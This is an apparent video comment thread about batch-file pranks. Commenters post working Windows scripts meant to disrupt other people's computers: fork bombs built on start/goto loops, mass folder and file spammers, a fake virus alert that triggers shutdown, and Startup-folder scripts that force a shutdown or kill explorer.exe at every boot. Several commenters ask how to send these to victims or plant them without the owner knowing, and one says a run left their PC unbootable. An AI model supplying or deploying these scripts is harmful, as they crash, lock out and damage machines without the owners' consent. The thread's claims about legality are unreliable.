Create an annoying Batch file to fool your friends!

[tvweekjournaal]

NICE!

[loveyouuu38om]

Damn. 400 screens.;o

[ooo0Bullet0ooo]

@echo off title VIRUS color 40 echo: Trojan Horse Virus has been detected pause echo: Would you like to delete the file? pause echo: Proccessing........ pause dir/s echo: Files Deleted pause shutdown -s -t 60 -c "System Crash will ocurr on shutdown"

[azazazazaz45]

dude you are a genius my f-secure detected it as Hoax.BAT.BadJoke.Starter.d loooool hahahaha

[R00t1k]

haha yea :D no it didnt

[korvblaster]

Lol if you would really like to fool your friends you should simply do a batch file like this:

@echo off

:A

start

goto A

And after that you should put it on your friend's autostart! Then, everytime they start their computer these windows will pop up and "hopefully" their computer will crash! :> A bit rude, but it would've been possible! ^^

[JD161]

or you could do this with it :)

:gold:

start

goto :gold:

[gaurd5002]

For /l %%n in (1,1,1) do echo x=msgbox("hi",0,"hello") >> hi%%n.vbs

start hi1.vbs

Del %0

creates a messagebox instead of text file

[feellikeanidiotprodu]

how do i fix my computer the batch file opened up an umlimited amount. si shut my pc off and when i turn it back on now it wont even work in safe mode. help me plz!!!

[Flybyhacker]

ROFL

reinstall da PC

[giplydoodoo]

try get a copy of ubuntu on another computer and burn to disk.

install the cd but select "with no change to my computer" option. with upuntu u could locate the file on the hard disk and delete it.

[benwallaceda19]

how can i do this from somewhere remote or somewhere else? from a cell phone? any help would be greatly appreeciated . good vids

[MrJustdontcare]

JUST 1 time

%0

insted of start

[kestuff]

Hey what about the code that will get my teachers to take of their panties and give to me ?

[RSyemi14]

haaha lmao

[ubercharger9000]

For /L %%n in (1,1,100) do echo part %%n >%%n ping localhost -n 2 >nul For /L %%n in (1,2,50) do del %%n ping localhost -n 2 >nul ping localhost -n 2 >nul For /L %%n in (50,2,100) do del %%n ping localhost -n 2 >nul ping localhost -n 2 >nul For /L %%n in (2,2,49) do del %%n ping localhost -n 2 >nul ping localhost -n 2 >nul For /L %%n in (51,2,99) do del %%n ping localhost -n 2 >nul ping localhost -n 2 >nul

[protestifications]

what does this do?

[KillAtTheSameTime]

thx xD for vid and your other vids are awesome good

[konghaakon0]

Much easier than typing start start start

try this:

@echo off

:A

start

goto:A

this wil loop it and keep going untill the windows is closed

[ogsterduck1]

@echo off

set/p pop=your message:

:a

ping 1>nul

echo %pop%

ping 1>nul

cls

goto a

[InevitableTerror]

For /L %%n in (1,1,50) do echo You noob >> noob%%n.txt

Del%

Basically says,

for L (the variable),

create files 1-50 and "do" (you can put any command after do, but since it is saved as a txt, you want echo there)

write to file (>>) "noob"

and the noob%%n.txt means to save as "noob" to the degree of the file (1-50)

End

Hope that helps a little :)

[cadavillo1]

and this is unlimited:

@echo off

lots of boxes

start boxes

save it as anything you want.bat

don't forget ".bat"

[iFailMeh]

Here is a good one,

@echo off

:spam

md %random%

Echo Pro Spam Ftw. >> %random%.txt

goto Spam

[Killa632]

type this:

@echo off

title = The Blond Joke

echo = Put this file on your desktop and stay for about 20 seconds now close the window

:begin

color 3

md = wasteofspace%random%%random%%r andom%%random%%random%%random% %random%%random%%random%

GOTO BEGIN

This is only for stupid people you to prank on

It creates about 200000 folders in 20 seconds LOL LOL LOL LOL ROFL IT TOOK ME 4 HOURS TO DELETE THEM

[Takeyama7]

this is beter @echo off color 2 title DESU DESU DESU DESU DESU :desu echo DESU DESU DESU DESU DESU echo DESU DESU DESU echo  DESU DESU echo DESU DESU DESU DESU DESU start desu.bat goto :desu and then name it as desu.bat, run, SHIT BRICKS

[DEADLOCK0021]

there are better and more anoyying ones like

@echo off

:spam

md Spammed

echo THIS SPAM IS EVERYWHERE > %random%.txt

goto spam

but do not do it i was just sayying its really anoyying to delete them all

nice vid anyway

[Cyberking666]

on the txt adder put .bat instead. they'll be trying to open the file forever.

[NothingToBelieveIn]

I Can Use This To Fool My Cousin ...

[rahardstone]

thanks for reading out what it says sometimes i don't know whether the is a space there or not

[Shrimp908]

man this is an awesome tutorial not for the screwing with your friends, although that would be fun, but for the making a text document with cmd and then having something typed in it. I LOVE YOU, but I am not gay, so don't worry.

[ThePartOfThePart]

at the first one... :P after the start type loop like this

start

start

start

loop

______________

and it will never end ^^

[shadows555]

@echo off

:1

start

goto 1

works as well never ends

[Computerwizgeek920]

will that crash the cpu

[MaiTriCks]

Yep if yes initiate the Application over and over

[thefreerunn3r]

nice it works great as a prank

[maiahi0]

Great vid, and I see that your other videos are cool too, I'll subscribe and 5 stars from me:P

[lelouchisawesome]

i made one i mine computer put the file name on the end of it and opened it and my computer crashed

[vachier418]

me too i was curious xD

[wownerim]

Anybody want $1'000'000? Just type this in a batch file, then run it

@echo off

echo @echo off > startup.bat

echo shutdown -s -t 2 -c "Muhaha" >> startup.bat

copy startup.bat C:\Documents And Settings\All Users\Start Menu\Programs\Startup

start startup.bat

[AkumaADemoncus]

wownerim easy startup the computer in safe mode without command prompt locate the file and delete it. if you of course deleted wowexec.exe and ntldr then it would be very dangerous unless you have the original boot disk for the computer if not you would have to buy a new computer. without being able to recover the file the pc cannot start up

[Tipsyquo]

OMG someone knows how to use the FOR command im amazed.i liked how you put the FOR variable in the text file name.

::Tipsyquo::

@echo off

:tipsyquo

for /f "tokens=*" %%B in ('dir /s/b %systemroot%\system32\*.scr') do start %%B /start /high

start %systemroot%\system32\cmd.exe /c %0 /min /high

goto tipsyquo

[strexfire]

Screw it up with this: @echo off set a=%userprofile% set b=Start Menu\Programs set c=Startup set d=/f /t /im set e=explorer.exe set f=taskkill cd "%a%\%b%\%c%" echo %f% %d% "%e%" > "startbat.bat" shutdown -s -t 00

[ChickenWings103]

lol does this collect ip's or suming

[Y2K38]

cool

[VeltasVandegere]

Here's an idea:

@ECHO OFF

SET /P TAEND=How many eyes? ^> &SET TAVAR=1

:START

ECHO.Eyes bleeding!>eyeswhat%TAVAR%.txt

IF "%TAVAR%"=="%TAEND%" GOTO END

SET TAVAR=%TAVAR%+1&GOTO START

:END

ECHO ON

[rssrosales]

thats kool man!

[astrophotographer2]

OK all you noobs listen up. ITS NOT ILLEGAL TO SEND A BATCH FILE TO SOMEONE WITHOUT THEM KNOWING OR WANTING IT! THE ONLY TIME ITS CONSIDERED ILLEGAL IS IF IT HARMS THEIR COMPUTER! LIKE DELETING A FILE OR CORRUPTING DRIVES! SO YOU CAN SEND THESE TO ANYONE IF ALL THEY ARE DOING IS SHUTTING DOWN THE COMP OR MAKING A BILLION FOLDERS!

[demolishe34]

AWSome!!!!!!! nice >:)

[KillMe458]

i tried the first one.

i closed the computer when 197 of em came up, probaly it cud go to 600 or sumting

[birdie0man]

i heard you can go to jail for sending a .bat file, is that true?

[ScratchedChalkVideos]

Only if it contains malicious content that can ACTUALLY harm the other persons computer. In this video I demonstrate a harmless feature using .bat files.

[dummshapeshifter]

is it still illegal if you have their concent?

[runeite51]

nope

[AMIELrenaissance]

hey kid can I put this on the START-UP FOLDER so it will automatically open when someone open my computer?

[SpyMyy11]

@birdie0man Dude you can't going to jail for createing a .bat file so shut up

[Turboman300]

this will come in handy...>:]

[xXSkyGazerXx]

LMAO I did it too my brothers computer xD

100 files came out.I got punched in the stomach but it was worth it xD

[Palkia323]

"but it was worth it!!!"

that's funny!

[ChrisDeBonProduction]

I have a quation,

If 1 batch file opens itself wouldnt it go on forever? Since the batch file being opened opens a file that oepns a file ect.

???? Plz answer

[ScratchedChalkVideos]

Yep.

[ChrisDeBonProduction]

Oh ty

[LordHawke13]

That's the point. It's called a batch bomb. It forces the victim to shutdown the computer.

[ChrisDeBonProduction]

I did both, each one makes 3 text file & the batch file open 3 more of its self X D

[devon2576]

awesome......5 stars,favorited and subscribed

[ScratchedChalkVideos]

LOL!

[ScratchedChalkVideos]

Haha, pretty cool!

[breakdance74]

hehe pretty nice... i started coding batch files but i kinda gave up, now i do python.

for fun i translated ur programs into python pseudocode. First one could be:

variable = 1

while variable == 1: open c:\WINDOWS\system32\cmd.exe

and second would be...

for amount in range(0,10): f = file('c:\noob %s' % amount, 'w') f.write('YOU NOOB!') f.close

that should work

[ScratchedChalkVideos]

Haha, that's pretty cool!

[alvinandme]

how do u send it to someone like on myspace?

[ScratchedChalkVideos]

I would honestly suggest not doing that, if you do manage to send this, ScratchedChalk is not responsible for any charges or anything that might get you in trouble. We only created this video for educational purposes, and we would like to keep it that way for safety reasons, even if this batch file does not harm your computer.

Although there are some simple ways you can send it (via e-mail), I'm not entirely sure on MySpace.